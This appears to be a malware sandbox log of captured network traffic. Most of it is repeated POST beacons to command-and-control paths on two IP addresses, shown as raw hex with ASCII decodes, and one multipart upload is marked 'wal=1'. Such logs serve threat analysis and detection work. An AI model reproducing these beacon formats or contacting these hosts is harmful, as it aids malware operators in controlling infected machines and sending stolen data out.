Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php?wal=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----NjE0NQ==Host: 193.233.132.56Content-Length: 6305Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 35 37 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000057031&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
